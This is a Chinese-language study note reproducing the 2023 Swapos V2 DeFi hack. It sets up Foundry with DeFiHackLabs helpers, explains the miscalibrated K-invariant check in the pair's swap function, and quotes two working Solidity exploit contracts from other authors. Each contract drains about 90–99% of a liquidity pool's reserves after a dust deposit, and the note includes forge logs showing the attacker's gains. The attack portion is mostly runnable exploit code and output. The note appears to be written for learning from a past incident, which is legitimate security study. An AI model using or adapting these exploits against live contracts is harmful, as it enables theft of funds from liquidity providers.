defi 攻击复现 20230416 Swapos V2
- 参照之前记载,安装 foundry 和 vscode
从 https://github.com/SunWeb3Sec/DeFiHackLabs 下载 basetest.sol,interface.sol,tokenhelper.sol 这3个文件到 test 目录下,使用 github proxy 加速 同时修改 foundry.toml 文件,否则就会报错[与分叉有关]
fs_permissions = [{ access = "read", path = "./"}]
evm_version = 'shanghai'
[rpc_endpoints]
mainnet = "https://eth.llamarpc.com"
blast = "https://rpc.ankr.com/blast"
optimism = "https://optimism.llamarpc.com"
fantom = "https://fantom-pokt.nodies.app"
arbitrum = "https://arb1.arbitrum.io/rpc" # https://arbitrum.llamarpc.com
bsc = "https://binance.llamarpc.com"
moonriver = "https://moonriver.public.blastapi.io"
gnosis = "https://gnosis-mainnet.public.blastapi.io"
avalanche = "https://avax.meowrpc.com"
polygon = "https://rpc.ankr.com/polygon"
celo = "https://rpc.ankr.com/celo"
base = "https://developer-access-mainnet.base.org"
linea = "https://linea.drpc.org"
mantle = "https://rpc.mantle.xyz"
- 漏洞原理
swap (uint amount0Out, uint amount1Out, address to, bytes calldata data) external
描述:进行代币交换,从流动性池中取出代币。
参数:amount0Out:取出的第一个代币的数量。amount1Out:取出的第二个代币的数量。 to:接收代币的地址。data:附加数据,支持闪电交换(flash swap)。
变量 reserve0 和 reserve1 被读取,但该函数没有写入这些变量。 reserve0 和 reserve1 在此函数内部未更新。它们反映了在新的代币集合作为 swap 的一部分发送之前合约的余额。
测量传入代币的数量 amountXIn
currentContractbalanceX > _reserveX - _amountXOut
// 或者
currentContractBalanceX > previousContractBalanceX - _amountXOut
这里[之前的余额previousContractBalanceX]就是[储备量_reserveX]
如果它测量到净减少,三元运算符返回零,否则将测量代币的净流入。
amountXIn = balanceX - (_reserveX - amountXOut)
假设我们之前的余额是 10,amountOut 为零,当前余额是 12。这意味着用户存入了 2 个代币。amountXIn 将为 2。
假设我们之前的余额是 10,amountOut 为 7,当前余额是 3。amountXIn 将为 0。
假设我们之前的余额是 10,amountOut 为 7,当前余额是 2。amountXIn 仍然为零,而不是 -1。池子确实有 8 个代币的净损失,但amountXIn 不能为负。
假设我们之前的余额是 10,amountOut 为 6。如果当前余额是 18,则用户“借入” 6 个代币但偿还了 8 个代币。
结论:amount0In 和 amount1In 将在代币有净增益时反映其净增益,如果代币有净损失,则为零。
- POC 1
https://blog.csdn.net/weixin_43982484/article/details/130413878?spm=1001.2014.3001.5502
这个作者认为 SwaposV2Pair.sol 的 swap 函数有漏洞
...
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
...
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));// balance0Adjusted 等于 balance0 乘以10000
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));// balance1Adjusted 等于 balance1 乘以10000
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
//右侧 _reserve0 乘以 _reserve1 乘以 1000 乘以 1000,数量级相差100,明显错误
}
_update(balance0, balance1, _reserve0, _reserve1);//更新_reserveX 和 BalanceX
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
这个作者编写的POC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./interface.sol"; //导入 测试库 和 interface.sol
// KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Info
// Price manipulation, Vulnerability Exploit
// Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385
//定义几个常量,从 etherscan 查询到这几个地址
address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
//ERC-20: Swapos V2 (SWP-V2) 地址
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
//Wrapped BTC (WBTC) 地址
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
//USDC (USDC) 地址
uint256 constant USDC_DECIMALS = 6;//精度
uint256 constant WBTC_DECIMALS = 8;//精度
contract Swapos is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",17057442); // 分叉攻击发生的区块
console.log("start with block 17057442");// 打印攻击开始区块
console.log("Attacker address %s",address(this));// 打印当前合约地址
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
// DSTest 的日志函数
emit log_named_decimal_uint("[Start] Attacker USDC Balance&", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
// DSTest 的日志函数
Exploit exploit = new Exploit();// 攻击合约实例
exploit.attack();// 调用攻击合约的attack函数
console.log("End hacking...");
emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
// DSTest 的日志函数
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
// DSTest 的日志函数
}
}
//攻击合约
contract Exploit is Test{
//构造函数
address owner;
constructor() public{
owner = msg.sender;
}
//攻击函数
function attack() public {
deal(USDC_ADDRESS, address(this), 1);// 给当前合约设置 1 usdc 余额
IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);// 通过 IUniswapV2Pair 接口为 SWAP_ADDRESS 创建交易对
(uint256 amount0, uint256 amount1,) = pair.getReserves();// 获得交易对的余额 amountX
IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);// 向 SWAP_ADDRESS 转入 1 usdc
pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");// 调用交易对的 swap函数(uint amount0Out, uint amount1Out, address to, bytes calldata data) 传入3个参数,最后的data空着,
分别取出 amount0 的90% 和 amount1 的90% 给攻击者合约
}
}
使用 forge 命令测试结果
$ forge test SwaposExp.t.sol -vvv
[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/SwaposExp.t.sol:Swapos
[PASS] testExploit() (gas: 3732102)
Logs:
start with block 17057442
Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
start hacking...
[Start] Attacker WBTC Balance: 0.00000000
[Start] Attacker USDC Balance&: 0.000000
End hacking...
[End] Attacker WBTC Balance: 1.42229691
[End] Attacker USDC Balance: 43099.909083
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42s (11.76ms CPU time)
Ran 1 test suite in 1.45s (1.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- POC2
https://yinhui1984.github.io/analysis_of_swaposv2_attack/
同样,这个作者认为 SwaposV2Pair.sol 的 swap 函数有漏洞
swap 函数设置了5个 require 检查,最主要在第 4 个
require(amount0Out > 0 || amount1Out > 0, "SwaposV2: INSUFFICIENT_OUTPUT_AMOUNT");
// 从流动性池中取出代币数量 amountXOut 都要大于零
(uint112 _reserve0, uint112 _reserve1, ) = getReserves();
require( amount0Out < _reserve0 && amount1Out < _reserve1,"SwaposV2: INSUFFICIENT_LIQUIDITY");
// 从流动性池中取出代币数量 amountXOut 都要小于储备量 _reserveX
require(to != _token0 && to != _token1, "SwaposV2: INVALID_TO");
// 确保接收方不是tokenX
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
uint amount0In = balance0 > _reserve0 - amount0Out? balance0 - (_reserve0 - amount0Out): 0;
uint amount1In = balance1 > _reserve1 - amount1Out? balance1 - (_reserve1 - amount1Out): 0;
require(amount0In > 0 || amount1In > 0,"SwaposV2: INSUFFICIENT_INPUT_AMOUNT");
// 测量传入代币的数量 amountXIn。之前的储备量 _reserveX根本就不是最新的值,其是通过getReserves()函数得到的,
其值是在_update()被更新的,而更新发生在过去的mint(), burn(), sync(), swap()等。
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(balance0Adjusted.mul(balance1Adjusted) >=uint(_reserve0).mul(_reserve1).mul(1000 ** 2),"SwaposV2: K");
// 检查调整后余额乘积 balanceXAdjusted 大于等于 _reserveX 乘积
这个作者编写的POC
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
// https://twitter.com/CertiKAlert/status/1647530789947469825
//不导入 interface.sol 接口,而是直接粘贴用到的接口代码
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
}
interface ISWP {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function getReserves() external view returns (uint112 _reserve0,uint112 _reserve1, uint32 _blockTimestampLast);
function balanceOf(address) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
//定义几个常量,从 etherscan 查询到这几个地址。传入接口,就可以使用接口的函数
IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
//WETH 地址
IERC20 constant SWP_Token = IERC20(0x09176F68003c06F190ECdF40890E3324a9589557);
// Swapos Token 地址
ISWP constant SWPV2_Pool = ISWP(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);
// SWPV2_Pool 地址
//攻击合约
contract Hack is Test {
function setUp() public {
vm.createSelectFork("mainnet", 17057400);// 分叉攻击发生的区块
deal(address(WETH), address(this), 100);// 给当前合约设置100 weth余额
vm.label(address(WETH), "WETH");// 给 WETH 地址添加标签
vm.label(address(SWPV2_Pool), "SWPV2Pool");// 给 SWPV2_Pool 地址添加标签
vm.label(address(SWP_Token), "SWPTOKEN");// 给 SWP_Token 地址添加标签
}
//验证POC的函数
function testPoc() public {
// 绕过 "SwaposV2: INSUFFICIENT_INPUT_AMOUNT"
WETH.transfer(address(SWPV2_Pool), 10);// 给 SWPV2_Pool 地址转入10 weth
(uint112 token0, uint112 token1, ) = SWPV2_Pool.getReserves();// 获得 tokenX 储备量
emit log_named_decimal_uint("[before] token0(SWP_Token) from getReserves in pool",token0,18);
emit log_named_decimal_uint("[before] token1(WETH) from getReserves in pool",token1,18);
//划走99% 的 token0 或 token1都可以,二选一
SWPV2_Pool.swap((token0 * 99000) / 100000, 0, address(this), "");// 给 swap 函数传入取出代币 token0 的数量99%
(token0, token1, ) = SWPV2_Pool.getReserves();
emit log_named_decimal_uint("[after] token0(SWP_Token) from getReserves in pool",token0,18);
emit log_named_decimal_uint("[after] token1(WETH) from getReserves in pool",token1,18);
//故技重施,划走另外一个币
SWP_Token.transfer(address(SWPV2_Pool), 10);// 给 SWPV2_Pool 地址转入 10 SWP_Token
SWPV2_Pool.swap(0, (token1 * 99000) / 100000, address(this), "");// 给 swap 函数传入取出代币 token1 的数量99%
(token0, token1, ) = SWPV2_Pool.getReserves();
emit log_named_decimal_uint("[after] token0(SWP_Token) from getReserves in pool",token0,18);
emit log_named_decimal_uint("[after] token1(WETH) from getReserves in pool",token1,18);
emit log_named_decimal_uint("Now, i have SWP: ",SWP_Token.balanceOf(address(this)),18);
emit log_named_decimal_uint("Now, i have WETH: ",WETH.balanceOf(address(this)),18);
}
}
使用 forge 命令测试结果
$ forge test SwaposExp2.t.sol -vvv
[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/SwaposExp2.t.sol:Hack
[PASS] testPoc() (gas: 139839)
Logs:
[before] token0(SWP_Token) from getReserves in pool: 147580.970131255838890994
[before] token1(WETH) from getReserves in pool: 131.642780241915502488
[after] token0(SWP_Token) from getReserves in pool: 1475.809701312558388910
[after] token1(WETH) from getReserves in pool: 131.642780241915502498
[after] token0(SWP_Token) from getReserves in pool: 1475.809701312558388920
[after] token1(WETH) from getReserves in pool: 1.316427802419155025
Now, i have SWP: : 146105.160429943280502074
Now, i have WETH: : 130.326352439496347563
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.02s (499.52µs CPU time)
Ran 1 test suite in 1.03s (1.02s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://www.cnblogs.com/sjie/p/18259825
https://learnblockchain.cn/article/7963
https://yinhui1984.github.io/analysis_of_swaposv2_attack/
https://blog.csdn.net/weixin_43982484?type=blog
https://cloud.tencent.com/developer/user/6649301
https://learnblockchain.cn/article/11282